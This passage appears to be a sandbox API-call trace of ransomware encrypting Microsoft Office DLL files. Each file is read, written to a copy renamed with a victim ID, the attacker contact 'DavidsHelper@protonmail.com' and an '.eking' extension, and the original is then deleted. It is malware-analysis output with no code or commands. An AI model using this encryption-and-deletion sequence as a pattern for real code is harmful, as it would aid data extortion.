lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2528128) returned 1 [0270.114] CloseHandle (hObject=0x100) returned 1 [0270.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0270.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0270.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0270.115] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0270.116] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0270.116] ReadFile (in: hFile=0x100, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0270.126] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0270.126] ReadFile (in: hFile=0x100, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0270.151] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0270.151] ReadFile (in: hFile=0x100, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0270.180] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0270.180] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0270.361] SetEndOfFile (hFile=0x100) returned 1 [0270.362] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0270.362] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0270.365] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0270.365] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0270.371] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0270.372] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0270.871] FlushFileBuffers (hFile=0x100) returned 1 [0271.665] CloseHandle (hObject=0x100) returned 1 [0271.665] SetEvent (hEvent=0xe0) returned 1 [0271.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0271.670] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=744888) returned 1 [0271.670] CloseHandle (hObject=0x178) returned 1 [0271.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0271.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0271.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0271.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0271.671] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0271.671] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0271.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0271.671] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xb5db8, lpOverlapped=0x0) returned 1 [0271.743] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xb5dc0, lpOverlapped=0x0) returned 1 [0271.758] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.759] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0271.759] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0271.759] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xb5db8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xb5db8, lpOverlapped=0x0) returned 1 [0271.990] FlushFileBuffers (hFile=0x178) returned 1 [0272.199] FlushFileBuffers (hFile=0xcc) returned 1 [0272.447] CloseHandle (hObject=0x178) returned 1 [0272.448] CloseHandle (hObject=0xcc) returned 1 [0272.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0272.457] SetEvent (hEvent=0xe0) returned 1 [0272.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0272.459] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1012648) returned 1 [0272.459] CloseHandle (hObject=0xcc) returned 1 [0272.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0272.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0272.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0272.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0272.460] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.460] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0272.460] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xf73a8, lpOverlapped=0x0) returned 1 [0272.486] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf73b0, lpOverlapped=0x0) returned 1 [0272.549] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.549] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.549] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.549] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf73a8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xf73a8, lpOverlapped=0x0) returned 1 [0272.553] FlushFileBuffers (hFile=0xcc) returned 1 [0272.562] FlushFileBuffers (hFile=0x178) returned 1 [0272.713] CloseHandle (hObject=0xcc) returned 1 [0272.714] CloseHandle (hObject=0x178) returned 1 [0272.714] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0272.724] SetEvent (hEvent=0xe0) returned 1 [0272.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0272.725] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=442272) returned 1 [0272.725] CloseHandle (hObject=0x178) returned 1 [0272.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0272.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0272.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0272.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0272.725] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.725] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0272.726] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6bfa0, lpOverlapped=0x0) returned 1 [0272.737] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6bfb0, lpOverlapped=0x0) returned 1 [0272.746] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.746] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.747] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.747] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6bfa0, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6bfa0, lpOverlapped=0x0) returned 1 [0272.748] FlushFileBuffers (hFile=0x178) returned 1 [0272.755] FlushFileBuffers (hFile=0xcc) returned 1 [0272.758] CloseHandle (hObject=0x178) returned 1 [0272.758] CloseHandle (hObject=0xcc) returned 1 [0272.759] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0272.764] SetEvent (hEvent=0xe0) returned 1 [0272.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0272.765] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=899992) returned 1 [0272.765] CloseHandle (hObject=0xcc) returned 1 [0272.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0272.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0272.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0272.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0272.765] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.765] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0272.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0272.766] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xdbb98, lpOverlapped=0x0) returned 1 [0272.783] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xdbba0, lpOverlapped=0x0) returned 1 [0272.801] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.801] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.801] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0272.801] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xdbb98, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xdbb98, lpOverlapped=0x0) returned 1 [0272.804] FlushFileBuffers (hFile=0xcc) returned 1 [0273.059] FlushFileBuffers (hFile=0x178) returned 1 [0273.064] CloseHandle (hObject=0xcc) returned 1 [0273.064] CloseHandle (hObject=0x178) returned 1 [0273.065] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0273.075] SetEvent (hEvent=0xe0) returned 1 [0273.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.076] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15800) returned 1 [0273.076] CloseHandle (hObject=0x178) returned 1 [0273.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0273.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0273.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.077] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.077] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0273.077] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3db8, lpOverlapped=0x0) returned 1 [0273.080] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3dc0, lpOverlapped=0x0) returned 1 [0273.081] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.082] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.082] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.082] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3db8, lpOverlapped=0x0) returned 1 [0273.082] FlushFileBuffers (hFile=0x178) returned 1 [0273.086] FlushFileBuffers (hFile=0xcc) returned 1 [0273.088] CloseHandle (hObject=0x178) returned 1 [0273.089] CloseHandle (hObject=0xcc) returned 1 [0273.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0273.091] SetEvent (hEvent=0xe0) returned 1 [0273.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), 